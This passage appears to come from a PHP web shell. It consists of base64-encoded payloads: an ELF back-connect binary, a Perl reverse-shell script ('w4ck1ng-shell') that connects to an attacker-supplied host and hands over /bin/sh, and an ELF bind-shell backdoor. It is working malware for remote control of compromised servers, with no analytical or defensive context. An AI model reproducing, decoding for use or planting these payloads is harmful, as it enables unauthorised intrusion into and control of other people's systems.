AAAABIAAAB9AAAA8IgECAQAAAARAA4ATwAAAAAAAAA5AAAAEgAAAAEAAAAAAAAAAAAAACAAAAAVAAAAAAAAAAAAAAAgAAAAAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AGNvbm5lY3QAZXhlY2wAcGVycm9yAGR1cDIAc3lzdGVtAHNvY2tldABiemVybwBzdHJjYXQAaW5ldF9hZGRyAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABkYWVtb24AX19saWJjX3N0YXJ0X21haW4Ac3RybGVuAGNsb3NlAEdMSUJDXzIuMAAAAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABACQAAAAQAAAAAAAAABBpaQ0AAAIAsgAAAAAAAAAImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAAsmgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFw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JoECAAAAAAQAPH/wQEAAICGBAiTAQAAEgAMAMYBAAAAAAAA3QAAABIAAADjAQAALJkECAAAAAAQAvH/9AEAAAAAAAA6AAAAEgAAAAQCAAAAAAAAqgEAABIAAAAWAgAAWJoECAAAAAAgABYAIQIAANCIBAgAAAAAEgANACcCAAAsmQQIAAAAABAC8f87AgAAAAAAADYAAAASAAAATAIAAAAAAADZAAAAEgAAAFwCAAAAAAAAKAAAABIAAABsAgAAZJoECAAAAAAQAPH/cwIAAAyaBAgAAAAAEQAVAIkCAABomgQIAAAAABAA8f+OAgAAAAAAAA4AAAASAAAAnwIAAAAAAAB4AAAAEgAAALICAAAsmQQIAAAAABAC8f/FAgAA8IgECAQAAAARAA4A1AIAAFiaBAgAAAAAEAAWAOECAAAAAAAAOQAAABIAAADzAgAAAAAAAAAAAAAgAAAABwMAACyZBAgAAAAAEALx/x0DAAAAAAAAAAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAYmFjay5jAGV4ZWNsQEBHTElCQ18yLjAAX0RZTkFNSUMAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAX19maW5pX2FycmF5X2VuZABfX2Rzb19oYW5kbGUAX19saWJjX2NzdV9maW5pAHN5c3RlbUBAR0xJQkNfMi4wAF9pbml0AGRhZW1vbkBAR0xJQkNfMi4wAF9zdGFydABzdHJsZW5AQEdMSUJDXzIuMABfX2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9pbml0AGluZXRfYWRkckBAR0xJQkNfMi4wAF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfZW5kAGR1cDJAQEdMSUJDXzIuMABzdHJjYXRAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AF9maW5pAF9fcHJlaW5pdF9hcnJheV9lbmQAYnplcm9AQEdMSUJDXzIuMABleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABodG9uc0BAR0xJQkNfMi4wAGNvbm5lY3RAQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfc3RhcnQAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZ21vbl9zdGFydF9fAA==";$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuXG46OiB3NGNrMW5nLXNoZWxsIChQcml2YXRlIEJ1aWxkIHYwLjMpIHJldmVyc2Ugc2hlbGwgOjpcblxuIjsNCnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyANCnN5c3RlbSgkc3lzdGVtKTsNCnByaW50ICJcbllvdXIgSUQ6ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkN1cnJlbnQgRGlyZWN0b3J5OiAiOyANCnN5c3RlbSgkc3lzdGVtMik7DQpwcmludCAiXG4iOw0Kc3lzdGVtKCRzeXN0ZW0zKTsgc3lzdGVtKCRzeXN0ZW00KTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";$backdoor="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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